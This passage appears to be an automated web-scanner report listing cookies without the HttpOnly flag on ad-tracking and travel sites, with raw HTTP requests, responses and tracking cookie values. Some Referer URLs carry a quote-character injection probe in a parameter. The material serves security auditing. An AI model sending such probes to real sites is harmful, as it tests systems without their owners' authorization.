GET /F08747/b3/0/3/1003161/869604030.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzk3elPsVX+8er9duzVms/qpMm; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:26 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e64ae&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:26 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:25 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/887063996.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw69OD9iDSaWM1VkT6a+g=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:24 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b4&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:24 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:24 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/934643839.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCl0ESyMI1VkQha9I=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:18 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e64a6&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:18 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:18 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /event/js?mt_id=101971&mt_adid=100341&v1=&v2=&v3=&s1=&s2=&s3= HTTP/1.1 Host: pixel.mathtag.com Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uuid=4d3702bc-839e-0690-5370-3c19a9561295; ts=1296236272
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /pixel/p-78V15bIOxaPIs.gif?media=ad&labels=_imp.adserver.doubleclick,_imp.publisher.57234521,_imp.placement.233316945,_imp.creative.39601731 HTTP/1.1 Host: pixel.quantserve.com Proxy-Connection: keep-alive Referer: http://ad-emea.doubleclick.net/adi/N5506.150290.INVITEMEDIA/B5070033;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3B6423724ab7691482%3B12de6f2f4b2,0%3B%3B%3B932760147,NwQAAD4rFgAptXQAAAAAACzLHQAAAAAAAgAQAAIAAAAAAP8AAAAECkpVJAAAAAAA5-4WAAAAAABeUicAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADQPQ4AAAAAAAIAAwAAAAAAsfTy5i0BAAAAAAAAADg0OTk2MjA4LTJlZGYtMTFlMC1iOTdkLTAwMzA0OGQ2ZDg5MAAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F,$http://t.invitemedia.com/track_click?auctionID=12966598381452862-73583&campID=52754&crID=73583&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fhomepage%3Bvid%3D0%3Bugc%3D0%3Blvl%3D4%3Bsz%3D300x250%3Brsi%3D%3Btile%3D2%3Bord%3D8766312252264%3F&redirectURL=;ord=1296659838? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: mc=4d21fad0-365c5-43e3d-97d7a; d=EFMAG6ANq0itiBDbz6HJXbIAAb8BAfgFgbUAmtGkrxPyD5HhvB0s5SBu0fLChB0bohjR4QCEgaMMF9oYHPbyDhAA0Q4QKNGT_jg5INQohIFADybhCxjCsdeDCxpRseEAKhHyAiABcoSCVegsEDsjg7EeGaIQ
Response
HTTP/1.1 200 OK Connection: close Set-Cookie: d=EBEAG6ANq0itiBDbz6HJXbIAAb8BAfoFgfUAmtGkrxPyD5HhvB0s5SBu0fLChB0bohjR4QCEgaMMF9oYHPbyDhAA0Q4QKNGT_jg5INQohIFADybhCxjCsdeDCxpRseEAKhHyAiABcoSCVegsEDsjg7EeGaIQ; expires=Tue, 03-May-2011 15:17:19 GMT; path=/; domain=.quantserve.com P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR SAMa IND COM NAV" Content-Type: image/gif Cache-Control: private, no-cache, no-store, proxy-revalidate Pragma: no-cache Expires: Fri, 04 Aug 1978 12:00:00 GMT Content-Length: 35 Date: Wed, 02 Feb 2011 15:17:19 GMT Server: QS
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: price.orbitz.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 301 MOVED PERMANENTLY Location: http://www.orbitz.com/App/PerformMDLPDealsContent?deal_id=orbitz-price-assurance&cnt=OVI Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /PixelMonkey?adid=orbitzhotels&format=image&owwste=orbitz&owwprd=hotel&owworg=&depart=Tue%20Feb%2001%202011%2000:00:00%20GMT-0600%20(Central%20Standard%20Time)&return=Wed%20Feb%2002%202011%2000:00:00%20GMT-0600%20(Central%20Standard%20Time)&owwdst=H_US_BOSTON_MA HTTP/1.1 Host: px.admonkey.dapper.net Proxy-Connection: keep-alive Referer: http://www.orbitz.com/cacheable/ad.html Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The following cookies were issued by the application and do not have the HttpOnly flag set:
CMID=BECVgq3LtckAABg-QdMAAAAp;domain=casalemedia.com;path=/;expires=Thu, 02 Feb 2012 15:43:38 GMT
CMST=TUl7qk1Je6oB;domain=casalemedia.com;path=/;expires=Thu, 03 Feb 2011 15:43:38 GMT
CMSC=TUl7qg**;domain=casalemedia.com;path=/;
CMJ2=AAJzHU1Je6oB;domain=casalemedia.com;path=/;expires=Thu, 02 Feb 2012 15:43:38 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /j.gif?u=160541&s=1 HTTP/1.1 Host: r.casalemedia.com Proxy-Connection: keep-alive Referer: http://offers.lendingtree.com/splitter/splitter.ashx?id=msnhptext12111&promo=00313&source=4666360&esourceid=4666360&800Num=1-800-289-1731'&adtype=2 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: CMD3=AAFE100n1KEAAda-AAM36gEBAA**; CMD4=AAEwYE01+3gAAZshAALjFQECAA**; CMD2=AAFKkU01+3gAAZshAAM1eQEBAA**; CMID=BECVgq3LtckAABg-QdMAAAAp; CMPS=061; CMPP=006; CMS=110211&1296308414; CMD1=AADz3E1EGL4AAa6DAAMkaAEDAA**
Response
HTTP/1.1 200 OK Server: Apache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Content-Type: image/gif Expires: Wed, 02 Feb 2011 15:43:38 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 02 Feb 2011 15:43:38 GMT Content-Length: 43 Connection: close Set-Cookie: CMID=BECVgq3LtckAABg-QdMAAAAp;domain=casalemedia.com;path=/;expires=Thu, 02 Feb 2012 15:43:38 GMT Set-Cookie: CMPS=061;domain=casalemedia.com;path=/;expires=Tue, 03 May 2011 15:43:38 GMT Set-Cookie: CMPP=006;domain=casalemedia.com;path=/;expires=Tue, 03 May 2011 15:43:38 GMT Set-Cookie: CMST=TUl7qk1Je6oB;domain=casalemedia.com;path=/;expires=Thu, 03 Feb 2011 15:43:38 GMT Set-Cookie: CMSC=TUl7qg**;domain=casalemedia.com;path=/; Set-Cookie: CMDD=;domain=casalemedia.com;path=/;expires=Thu, 03 Feb 2011 15:43:38 GMT Set-Cookie: CMJ2=AAJzHU1Je6oB;domain=casalemedia.com;path=/;expires=Thu, 02 Feb 2012 15:43:38 GMT
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
